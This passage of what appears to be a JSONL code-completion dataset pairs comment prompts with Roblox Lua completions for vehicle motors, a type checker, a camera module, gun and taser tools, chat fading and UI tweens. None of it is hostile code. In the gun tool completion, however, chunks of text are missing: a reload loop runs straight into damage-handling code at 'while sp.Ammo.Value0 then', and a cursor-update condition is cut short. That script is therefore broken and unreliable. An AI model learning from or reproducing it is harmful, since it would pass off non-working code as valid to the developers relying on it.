damping\nend\n\nlocal function setMotorTorque(torque)\n\tfor _, motor in pairs(Motors) do\t\t\n\t\tmotor.MotorMaxTorque = torque\n\tend\nend\n\nlocal function setMotorTorqueDamped(torque, velocityDirection, accelDirection)\n\tfor _, motor in pairs(Motors) do\n\t\tif VehicleParameters.MaxSpeed == 0 then \n\t\t\tmotor.MotorMaxTorque = 0\n\t\telse\n\t\t\tlocal maxSpeed = VehicleParameters.MaxSpeed\n\t\t\tif accelDirection < 0 and velocityDirection < 0 then\n\t\t\t\tmaxSpeed = VehicleParameters.ReverseSpeed\n\t\t\tend\n\t\t\t\n\t\t\tlocal r = math.abs(Chassis.driverSeat.Velocity.Magnitude / maxSpeed)\n\t\t\tmotor.MotorMaxTorque = math.exp( -3 * r * r ) * torque\n\t\tend\n\tend\nend\n\nlocal function setMotorMaxAcceleration(acceleration)\n\tfor _, motor in pairs(Motors) do\n\t\tmotor.MotorMaxAngularAcceleration = acceleration\n\tend\nend\n"} +{"prompt": "--[[**\n\tensure value is an Instance and it's ClassName matches the given ClassName\n\n\t@param className The class name to check for\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.instanceOf(className, childTable)\n\tassert(t.string(className))\n\n\tlocal childrenCheck\n\tif childTable ~= nil then\n\t\tchildrenCheck = t.children(childTable)\n\tend\n\n\treturn function(value)\n\t\tlocal instanceSuccess, instanceErrMsg = t.Instance(value)\n\t\tif not instanceSuccess then\n\t\t\treturn false, instanceErrMsg or \"\"\n\t\tend\n\n\t\tif value.ClassName ~= className then\n\t\t\treturn false, string.format(\"%s expected, got %s\", className, value.ClassName)\n\t\tend\n\n\t\tif childrenCheck then\n\t\t\tlocal childrenSuccess, childrenErrMsg = childrenCheck(value)\n\t\t\tif not childrenSuccess then\n\t\t\t\treturn false, childrenErrMsg\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\nt.instance = t.instanceOf\n"} +{"prompt": "--//Services//--", "completion": "\nlocal TweenService = game:GetService(\"TweenService\")\nlocal RunService = game:GetService(\"RunService\")\n"} +{"prompt": "--[[\n\tReturns true if the object is protected by a forcefield\n--]]", "completion": "\n\nreturn function(obj)\n\tlocal protected = false\n\tlocal check = obj\n\twhile true do\n\t\tlocal hasFF = false\n\t\tfor index, child in next, check:GetChildren() do\n\t\t\tif child:IsA'ForceField' then\n\t\t\t\thasFF = true\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tif hasFF then\n\t\t\tprotected = true\n\t\t\tbreak\n\t\telse\n\t\t\tcheck = check.Parent\n\t\t\tif check == nil or check == game or check.Parent == game then\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\t\n\treturn protected\nend\n"} +{"prompt": "-- Movement mode standardized to Enum.ComputerCameraMovementMode values", "completion": "\nfunction ClassicCamera:SetCameraMovementMode(cameraMovementMode)\n\tBaseCamera.SetCameraMovementMode(self, cameraMovementMode)\n\n\tself.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow\n\tself.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle\nend\n\nfunction ClassicCamera:Update()\n\tlocal now = tick()\n\tlocal timeDelta = now - self.lastUpdate\n\n\tlocal camera = workspace.CurrentCamera\n\tlocal newCameraCFrame = camera.CFrame\n\tlocal newCameraFocus = camera.Focus\n\n\tlocal overrideCameraLookVector = nil\n\tif self.resetCameraAngle then\n\t\tlocal rootPart = self:GetHumanoidRootPart()\n\t\tif rootPart then\n\t\t\toverrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector\n\t\telse\n\t\t\toverrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector\n\t\tend\n\t\tself.resetCameraAngle = false\n\tend\n\n\tlocal player = PlayersService.LocalPlayer\n\tlocal humanoid = self:GetHumanoid()\n\tlocal cameraSubject = camera.CameraSubject\n\tlocal isInVehicle = cameraSubject and cameraSubject:IsA(\"VehicleSeat\")\n\tlocal isOnASkateboard = cameraSubject and cameraSubject:IsA(\"SkateboardPlatform\")\n\tlocal isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing\n\n\tif self.lastUpdate == nil or timeDelta > 1 then\n\t\tself.lastCameraTransform = nil\n\tend\n\t\n\tlocal rotateInput = CameraInput.getRotation()\n\n\tself:StepZoom()\n\n\tlocal cameraHeight = self:GetCameraHeight()\n\n\t-- Reset tween speed if user is panning\n\tif CameraInput.getRotation() ~= Vector2.new() then\n\t\ttweenSpeed = 0\n\t\tself.lastUserPanCamera = tick()\n\tend\n\n\tlocal userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE\n\tlocal subjectPosition = self:GetSubjectPosition()\n\n\tif subjectPosition and player and camera then\n\t\tlocal zoom = self:GetCameraToSubjectDistance()\n\t\tif zoom < 0.5 then\n\t\t\tzoom = 0.5\n\t\tend\n\n\t\tif self:GetIsMouseLocked() and not self:IsInFirstPerson() then\n\t\t\t-- We need to use the right vector of the camera after rotation, not before\n\t\t\tlocal newLookCFrame = self:CalculateNewLookCFrameFromArg(overrideCameraLookVector, rotateInput)\n\n\t\t\tlocal offset = self:GetMouseLockOffset()\n\t\t\tlocal cameraRelativeOffset = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector\n\n\t\t\t--offset can be NAN, NAN, NAN if newLookVector has only y component\n\t\t\tif Util.IsFiniteVector3(cameraRelativeOffset) then\n\t\t\t\tsubjectPosition = subjectPosition + cameraRelativeOffset\n\t\t\tend\n\t\telse\n\t\t\tlocal userPanningTheCamera = CameraInput.getRotation() ~= Vector2.new()\n\n\t\t\tif not userPanningTheCamera and self.lastCameraTransform then\n\n\t\t\t\tlocal isInFirstPerson = self:IsInFirstPerson()\n\n\t\t\t\tif (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then\n\t\t\t\t\tif isInFirstPerson then\n\t\t\t\t\t\tif self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA(\"BasePart\") then\n\t\t\t\t\t\t\tlocal y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)\n\t\t\t\t\t\t\tif Util.IsFinite(y) then\n\t\t\t\t\t\t\t\trotateInput = rotateInput + Vector2.new(y, 0)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\ttweenSpeed = 0\n\t\t\t\t\t\tend\n\t\t\t\t\telseif not userRecentlyPannedCamera then\n\t\t\t\t\t\tlocal forwardVector = humanoid.Torso.CFrame.lookVector\n\t\t\t\t\t\ttweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed)\n\n\t\t\t\t\t\tlocal percent = math.clamp(tweenSpeed * timeDelta, 0, 1)\n\t\t\t\t\t\tif self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then\n\t\t\t\t\t\t\tpercent = 1\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tlocal y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())\n\t\t\t\t\t\tif Util.IsFinite(y) and math.abs(y) > 0.0001 then\n\t\t\t\t\t\t\trotateInput = rotateInput + Vector2.new(y * percent, 0)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\telseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then\n\t\t\t\t\t-- Logic that was unique to the old FollowCamera module\n\t\t\t\t\tlocal lastVec = -(self.lastCameraTransform.p - subjectPosition)\n\n\t\t\t\t\tlocal y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())\n\n\t\t\t\t\t-- This cutoff is to decide if the humanoid's angle of movement,\n\t\t\t\t\t-- relative to the camera's look vector, is enough that\n\t\t\t\t\t-- we want the camera to be following them. The point is to provide\n\t\t\t\t\t-- a sizable dead zone to allow more precise forward movements.\n\t\t\t\t\tlocal thetaCutoff = 0.4\n\n\t\t\t\t\t-- Check for NaNs\n\t\t\t\t\tif Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then\n\t\t\t\t\t\trotateInput = rotateInput + Vector2.new(y, 0)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif not self.isFollowCamera then\n\t\t\tlocal VREnabled = VRService.VREnabled\n\n\t\t\tif VREnabled then\n\t\t\t\tnewCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)\n\t\t\telse\n\t\t\t\tnewCameraFocus = CFrame.new(subjectPosition)\n\t\t\tend\n\n\t\t\tlocal cameraFocusP = newCameraFocus.p\n\t\t\tif VREnabled and not self:IsInFirstPerson() then\n\t\t\t\tlocal vecToSubject = (subjectPosition - camera.CFrame.p)\n\t\t\t\tlocal distToSubject = vecToSubject.magnitude\n\n\t\t\t\tlocal flaggedRotateInput = rotateInput\n\n\t\t\t\t-- Only move the camera if it exceeded a maximum distance to the subject in VR\n\t\t\t\tif distToSubject > zoom or flaggedRotateInput.x ~= 0 then\n\t\t\t\t\tlocal desiredDist = math.min(distToSubject, zoom)\n\t\t\t\t\tvecToSubject = self:CalculateNewLookVectorFromArg(nil, rotateInput) * desiredDist\n\t\t\t\t\tlocal newPos = cameraFocusP - vecToSubject\n\t\t\t\t\tlocal desiredLookDir = camera.CFrame.lookVector\n\t\t\t\t\tif flaggedRotateInput.x ~= 0 then\n\t\t\t\t\t\tdesiredLookDir = vecToSubject\n\t\t\t\t\tend\n\t\t\t\t\tlocal lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)\n\n\t\t\t\t\tnewCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)\n\t\t\t\tnewCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)\n\t\t\tend\n\t\telse -- is FollowCamera\n\t\t\tlocal newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)\n\n\t\t\tif VRService.VREnabled then\n\t\t\t\tnewCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)\n\t\t\telse\n\t\t\t\tnewCameraFocus = CFrame.new(subjectPosition)\n\t\t\tend\n\t\t\tnewCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0)\n\t\tend\n\n\t\tlocal toggleOffset = self:GetCameraToggleOffset(timeDelta)\n\t\tnewCameraFocus = newCameraFocus + toggleOffset\n\t\tnewCameraCFrame = newCameraCFrame + toggleOffset\n\n\t\tself.lastCameraTransform = newCameraCFrame\n\t\tself.lastCameraFocus = newCameraFocus\n\t\tif (isInVehicle or isOnASkateboard) and cameraSubject:IsA(\"BasePart\") then\n\t\t\tself.lastSubjectCFrame = cameraSubject.CFrame\n\t\telse\n\t\t\tself.lastSubjectCFrame = nil\n\t\tend\n\tend\n\n\tself.lastUpdate = now\n\treturn newCameraCFrame, newCameraFocus\nend\n\nfunction ClassicCamera:EnterFirstPerson()\n\tself.inFirstPerson = true\n\tself:UpdateMouseBehavior()\nend\n\nfunction ClassicCamera:LeaveFirstPerson()\n\tself.inFirstPerson = false\n\tself:UpdateMouseBehavior()\nend\n\nreturn ClassicCamera\n"} +{"prompt": "-------------------------------------------------------------------------------", "completion": "\n\n\n\n\n\n\nfunction tagHumanoid(humanoid)\n\tlocal plr=game.Players:playerFromCharacter(sp.Parent)\n\tif plr~=nil then\n\t\tlocal tag=Instance.new(\"ObjectValue\")\n\t\ttag.Value=plr\n\t\ttag.Name=\"creator\"\n\t\ttag.Parent=humanoid\n\t\tdelay(2,function()\n\t\t\tif tag~=nil then\n\t\t\t\ttag.Parent=nil\n\t\t\tend\n\t\tend)\n\tend\nend\n\n\nfunction reload(mouse)\n\treloading=true\n\tmouse.Icon=ReloadCursor\n\twhile sp.Ammo.Value0 then\n\t\t\t\tlocal eplr=game.Players:playerFromCharacter(humanoid.Parent)\n\t\t\t\tlocal plr=game.Players:playerFromCharacter(sp.Parent)\n\t\t\t\tif eplr~=nil and plr~=nil then\n\t\t\t\t--\tif eplr.TeamColor~=plr.TeamColor or eplr.Neutral or plr.Neutral then\n\t\t\t\t\t\ttagHumanoid(humanoid)\n\t\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\t--\tend\n\t\t\t\telse\n\t\t\t\t\ttagHumanoid(humanoid)\n\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif (hit.Name == \"Part10\") or (hit.Name == \"Part11\") or (hit.Name == \"Part21\") or (hit.Name == \"Part23\") or (hit.Name == \"Part24\") or (hit.Name == \"Part8\") then\n\t\t\trand = math.random(1,5)\n\t\t\tif rand == 1 then\n\t\t\t\tworkspace.GlassSound:play()\n\t\t\t\thit:breakJoints()\n\t\t\tend\n\t\tend\n\t\tif (hit.Parent:findFirstChild(\"Hit\")) then\n\t\t\thit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage/3\n\t\tend\n\t\tdistance=(startpoint-pos).magnitude\n\t\tbullet.CFrame=cfrm*CFrame.new(0,0,-distance/2)\n\t\tbullet.Mesh.Scale=Vector3.new(.15,.15,distance)\n\telse\n\t\tbullet.CFrame=cfrm*CFrame.new(0,0,-RayLength/2) \n\t\tbullet.Mesh.Scale=Vector3.new(.15,.15,RayLength)\n\tend\n\tif pos~=nil then\n\t\tbt2.CFrame=bullet.CFrame\n\t\tmovecframe(bt2,pos)\n\tend\n\tlocal deb=game:FindFirstChild(\"Debris\")\n\tif deb==nil then\n\t\tlocal debris=Instance.new(\"Debris\")\n\t\tdebris.Parent=game\n\tend\n\tcheck()\n\tgame.Debris:AddItem(bullet,.05)\n\tgame.Debris:AddItem(bt2,.5)\nend\n\nfunction onButton1Up(mouse)\n\tdown=false\nend\n\nfunction onButton1Down(mouse)\n\th=sp.Parent:FindFirstChild(\"Humanoid\")\n\tif not enabled or reloading or down or h==nil then\n\t\treturn\n\tend\n\tif sp.Ammo.Value>0 and h.Health>0 then\n\t\t--[[if sp.Ammo.Value<=0 then\n\t\t\tif not reloading then\n\t\t\t\treload(mouse)\n\t\t\tend\n\t\t\treturn\n\t\tend]]\n\t\tdown=true\n\t\tenabled=false\n\t\twhile down do\n\t\t\tif sp.Ammo.Value<=0 then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tif burst then\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag=(mouse.Hit.p-startpoint).magnitude\n\t\t\t\tlocal rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))\n\t\t\t\tfire(mouse.Hit.p+rndm)\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tif sp.Ammo.Value<=0 then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\twait(.05)\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag2=((mouse.Hit.p+rndm)-startpoint).magnitude\n\t\t\t\tlocal rndm2=Vector3.new(math.random(-(.1/10)*mag2,(.1/10)*mag2),math.random(-(.1/10)*mag2,(.1/10)*mag2),math.random(-(.1/10)*mag2,(.1/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm2)\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tif sp.Ammo.Value<=0 then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\twait(.05)\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm2+rndm2)\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\telseif shot then\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag=(mouse.Hit.p-startpoint).magnitude\n\t\t\t\tlocal rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))\n\t\t\t\tfire(mouse.Hit.p+rndm)\n\t\t\t\tlocal mag2=((mouse.Hit.p+rndm)-startpoint).magnitude\n\t\t\t\tlocal rndm2=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm2)\n\t\t\t\tlocal rndm3=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm3)\n\t\t\t\tlocal rndm4=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm4)\n\t\t\telse\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag=(mouse.Hit.p-startpoint).magnitude\n\t\t\t\tlocal rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))\n\t\t\t\tfire(mouse.Hit.p+rndm)\n\t\t\tend\n\t\t\twait(Firerate)\n\t\t\tif not automatic then\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\t\n\t\tenabled=true\n\telse\n\t\tsp.Handle.Trigger:Play()\n\tend\nend\n\nfunction onEquippedLocal(mouse)\n\tif mouse==nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\tmouse.Icon=Cursors[1]\n\tmouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end)\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\tmouse.Button1Up:connect(function() onButton1Up(mouse) end)\n\tcheck()\n\tequiped=true\n\tif #Cursors>1 then\n\t\twhile equiped do\n\t\t\tt=r.Stepped:wait()\n\t\t\tlocal action=sp.Parent:FindFirstChild(\"Pose\")\n\t\t\tif action~=nil then\n\t\t\t\tif sp.Parent.Pose.Value==\"Standing\" then\n\t\t\t\t\tSpread=MinSpread\n\t\t\t\telse\n\t\t\t\t\tSpread=MinSpread+((1/10)*(MaxSpread-MinSpread))\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tSpread=MinSpread\n\t\t\tend\n\t\t\tif t-last(i/(#Cursors-1))-((1/(#Cursors-1))/2) and percent<(i/(#Cursors-1))+((1/(#Cursors-1))/2) then\n\t\t\t\t\t\tmouse.Icon=Cursors[i+1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\twait(Firerate*.9)\n\t\tend\n\tend\nend\nfunction onUnequippedLocal(mouse)\n\tequiped=false\n\treloading=false\nend\nsp.Equipped:connect(onEquippedLocal)\nsp.Unequipped:connect(onUnequippedLocal)\ncheck()\n"} +{"prompt": "--Stickmasterluke", "completion": "\n\n\nsp=script.Parent\n\n\npowertime=3\n\nequipped=false\npowered=false\n\n\nwhile sp:FindFirstChild(\"ElectricWeld\")==nil do \n\twait()\nend\nlocal storeweld=sp.ElectricWeld\nlocal initCF = storeweld.C0\n\nsp.Handle.Touched:connect(function(hit)\n\tif hit~=nil and powered then\n\t\tlocal eh=hit.Parent:FindFirstChild(\"Humanoid\")\n\t\tlocal h=sp.Parent:FindFirstChild(\"Humanoid\")\n\t\tif h~=nil and eh~=nil and h~=eh then\n\t\t\tif h.Health>0 and eh.Health>0 and h.Parent:FindFirstChild(\"GetTasedBro\")==nil then\n\t\t\t\t--[[powered=false\n\t\t\t\tsp.Enabled=false]]\n\t\t\t\tlocal ts=script.GetTasedBro:clone()\n\t\t\t\tts.Parent=hit.Parent\n\t\t\t\tts.Disabled=false\n\t\t\tend\n\t\tend\n\tend\nend)\n\nsp.Activated:connect(function()\n\tlocal chr=sp.Parent\n\tlocal h=chr:FindFirstChild(\"Humanoid\")\n\tif h~=nil then\n\t\tif h.Health>0 and not powered then\n\t\t\tsp.Enabled=false\n\t\t\tpowered=true\n\t\t\tlocal s=sp.Handle:FindFirstChild(\"Sound\")\n\t\t\tif s~=nil then\n\t\t\t\ts:Play()\n\t\t\tend\n\t\t\tdelay(0,function()\n\t\t\t\tlocal ii=0\n\t\t\t\twhile powered do\n\t\t\t\t\tii=ii+1\t\t\t\t\t\n\t\t\t\t\tif storeweld and ii%2==0 then\n\t\t\t\t\t\tstoreweld.C0 = initCF * CFrame.Angles(0, 0, math.random()/3.0) --* CFrame.Angles(0, 1.3, 0)\n\t\t\t\t\tend\n\t\t\t\t\tlocal pain=sp:FindFirstChild(\"Pain\")\n\t\t\t\t\tif pain~=nil then\n\t\t\t\t\t\tpain.Transparency=ii%2\n\t\t\t\t\tend\n\t\t\t\t\twait(.1)\n\t\t\t\tend\n\t\t\t\tstoreweld.C0 = initCF\n\t\t\t\tlocal s=sp.Handle:FindFirstChild(\"Sound\")\n\t\t\t\tif s~=nil then\n\t\t\t\t\ts:Stop()\n\t\t\t\tend\n\t\t\t\tlocal pain=sp:FindFirstChild(\"Pain\")\n\t\t\t\tif pain~=nil then\n\t\t\t\t\tpain.Transparency=1\n\t\t\t\tend\n\t\t\tend)\n\t\t\twait(powertime)\n\t\t\tsp.Enabled=true\n\t\t\tpowered=false\n\t\tend\n\tend\nend)\n\nsp.Equipped:connect(function()\n\tequipped=true\n\tpowered=false\n\tlocal pain=sp:FindFirstChild(\"Pain\")\n\tif pain~=nil then\n\t\tpain.Transparency=1\n\tend\n\tif storeweld then\n\t\tstoreweld.Parent=sp\n\tend \nend)\nsp.Unequipped:connect(function()\n\tpowered=false\n\tequipped=false\nend)\n\n\n\n\n"} +{"prompt": "---vars", "completion": "\nlocal Template = script.Template\nlocal Plr = script.Parent.Parent.Parent\nlocal CarStorage = game.ReplicatedStorage.Vehicles\nlocal ScrollFrame = script.Parent.MainFrame.ScrollingFrame\n"} +{"prompt": "--////////////////////////////////////////////////////////////////////////////////////////////\n--////////////////////////////////////////////////////////////// Code to do chat window fading\n--////////////////////////////////////////////////////////////////////////////////////////////", "completion": "\nfunction CheckIfPointIsInSquare(checkPos, topLeft, bottomRight)\n\treturn (topLeft.X <= checkPos.X and checkPos.X <= bottomRight.X and\n\t\ttopLeft.Y <= checkPos.Y and checkPos.Y <= bottomRight.Y)\nend\n\nlocal backgroundIsFaded = false\nlocal textIsFaded = false\nlocal lastTextFadeTime = 0\nlocal lastBackgroundFadeTime = 0\n\nlocal fadedChanged = Instance.new(\"BindableEvent\")\nlocal mouseStateChanged = Instance.new(\"BindableEvent\")\nlocal chatBarFocusChanged = Instance.new(\"BindableEvent\")\n\nfunction DoBackgroundFadeIn(setFadingTime)\n\tlastBackgroundFadeTime = tick()\n\tbackgroundIsFaded = false\n\tfadedChanged:Fire()\n\tChatWindow:FadeInBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))\n\n\tlocal currentChannelObject = ChatWindow:GetCurrentChannel()\n\tif (currentChannelObject) then\n\n\t\tlocal Scroller = MessageLogDisplay.Scroller\n\t\tScroller.ScrollingEnabled = true\n\t\tScroller.ScrollBarThickness = moduleMessageLogDisplay.ScrollBarThickness\n\tend\nend\n\nfunction DoBackgroundFadeOut(setFadingTime)\n\tlastBackgroundFadeTime = tick()\n\tbackgroundIsFaded = true\n\tfadedChanged:Fire()\n\tChatWindow:FadeOutBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))\n\n\tlocal currentChannelObject = ChatWindow:GetCurrentChannel()\n\tif (currentChannelObject) then\n\n\t\tlocal Scroller = MessageLogDisplay.Scroller\n\t\tScroller.ScrollingEnabled = false\n\t\tScroller.ScrollBarThickness = 0\n\tend\nend\n\nfunction DoTextFadeIn(setFadingTime)\n\tlastTextFadeTime = tick()\n\ttextIsFaded = false\n\tfadedChanged:Fire()\n\tChatWindow:FadeInText((setFadingTime or ChatSettings.ChatDefaultFadeDuration) * 0)\nend\n\nfunction DoTextFadeOut(setFadingTime)\n\tlastTextFadeTime = tick()\n\ttextIsFaded = true\n\tfadedChanged:Fire()\n\tChatWindow:FadeOutText((setFadingTime or ChatSettings.ChatDefaultFadeDuration))\nend\n\nfunction DoFadeInFromNewInformation()\n\tDoTextFadeIn()\n\tif ChatSettings.ChatShouldFadeInFromNewInformation then\n\t\tDoBackgroundFadeIn()\n\tend\nend\n\nfunction InstantFadeIn()\n\tDoBackgroundFadeIn(0)\n\tDoTextFadeIn(0)\nend\n\nfunction InstantFadeOut()\n\tDoBackgroundFadeOut(0)\n\tDoTextFadeOut(0)\nend\n\nlocal mouseIsInWindow = nil\nfunction UpdateFadingForMouseState(mouseState)\n\tmouseIsInWindow = mouseState\n\n\tmouseStateChanged:Fire()\n\n\tif (ChatBar:IsFocused()) then return end\n\n\tif (mouseState) then\n\t\tDoBackgroundFadeIn()\n\t\tDoTextFadeIn()\n\telse\n\t\tDoBackgroundFadeIn()\n\tend\nend\n\n\nspawn(function()\n\twhile true do\n\t\tRunService.RenderStepped:wait()\n\n\t\twhile (mouseIsInWindow or ChatBar:IsFocused()) do\n\t\t\tif (mouseIsInWindow) then\n\t\t\t\tmouseStateChanged.Event:wait()\n\t\t\tend\n\t\t\tif (ChatBar:IsFocused()) then\n\t\t\t\tchatBarFocusChanged.Event:wait()\n\t\t\tend\n\t\tend\n\n\t\tif (not backgroundIsFaded) then\n\t\t\tlocal timeDiff = tick() - lastBackgroundFadeTime\n\t\t\tif (timeDiff > ChatSettings.ChatWindowBackgroundFadeOutTime) then\n\t\t\t\tDoBackgroundFadeOut()\n\t\t\tend\n\n\t\telseif (not textIsFaded) then\n\t\t\tlocal timeDiff = tick() - lastTextFadeTime\n\t\t\tif (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then\n\t\t\t\tDoTextFadeOut()\n\t\t\tend\n\n\t\telse\n\t\t\tfadedChanged.Event:wait()\n\n\t\tend\n\n\tend\nend)\n\nfunction getClassicChatEnabled()\n\tif ChatSettings.ClassicChatEnabled ~= nil then\n\t\treturn ChatSettings.ClassicChatEnabled\n\tend\n\treturn Players.ClassicChat\nend\n\nfunction getBubbleChatEnabled()\n\tif ChatSettings.BubbleChatEnabled ~= nil then\n\t\treturn ChatSettings.BubbleChatEnabled\n\tend\n\treturn Players.BubbleChat\nend\n\nfunction bubbleChatOnly()\n\treturn not getClassicChatEnabled() and getBubbleChatEnabled()\nend\n\nfunction UpdateMousePosition(mousePos)\n\tif not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end\n\n\tif bubbleChatOnly() then\n\t\treturn\n\tend\n\n\tlocal windowPos = ChatWindow.GuiObject.AbsolutePosition\n\tlocal windowSize = ChatWindow.GuiObject.AbsoluteSize\n\n\tlocal newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize)\n\n\tif (newMouseState ~= mouseIsInWindow) then\n\t\tUpdateFadingForMouseState(newMouseState)\n\tend\nend\n\nUserInputService.InputChanged:connect(function(inputObject, gameProcessedEvent)\n\tif (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then\n\t\tlocal mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)\n\t\tUpdateMousePosition(mousePos)\n\tend\nend)\n\nUserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent)\n\tUpdateMousePosition(tapPos[1])\nend)\n\nUserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent)\n\tlocal tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)\n\tUpdateMousePosition(tapPos)\nend)\n\nUserInputService.Changed:connect(function(prop)\n\tif prop == \"MouseBehavior\" then\n\t\tif UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then\n\t\t\tlocal windowPos = ChatWindow.GuiObject.AbsolutePosition\n\t\t\tlocal windowSize = ChatWindow.GuiObject.AbsoluteSize\n\t\t\tlocal screenSize = GuiParent.AbsoluteSize\n\n\t\t\tlocal centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize)\n\t\t\tif centerScreenIsInWindow then\n\t\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- for fading text", "completion": "\nfunction UITween.fadeText(object, amount, time, delay)\n\n\tlocal tweenAlpha = TweenInfo.new(\n\t\ttime, --Time\n\t\tEnum.EasingStyle.Quad, --EasingStyle\n\t\tEnum.EasingDirection.Out, --EasingDirection\n\t\t0, --Repeat count\n\t\tfalse, --Reverses if true\n\t\tdelay --Delay time\n\t)\n\n\tlocal tween1 = tweenService:Create(object, tweenAlpha, {TextTransparency = amount})\n\ttween1:Play()\n\nend\n"} +{"prompt": "-- events", "completion": "\n\nREMOTES.Effect.OnClientEvent:connect(function(...)\n\tEFFECTS:Effect(...)\nend)\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ General 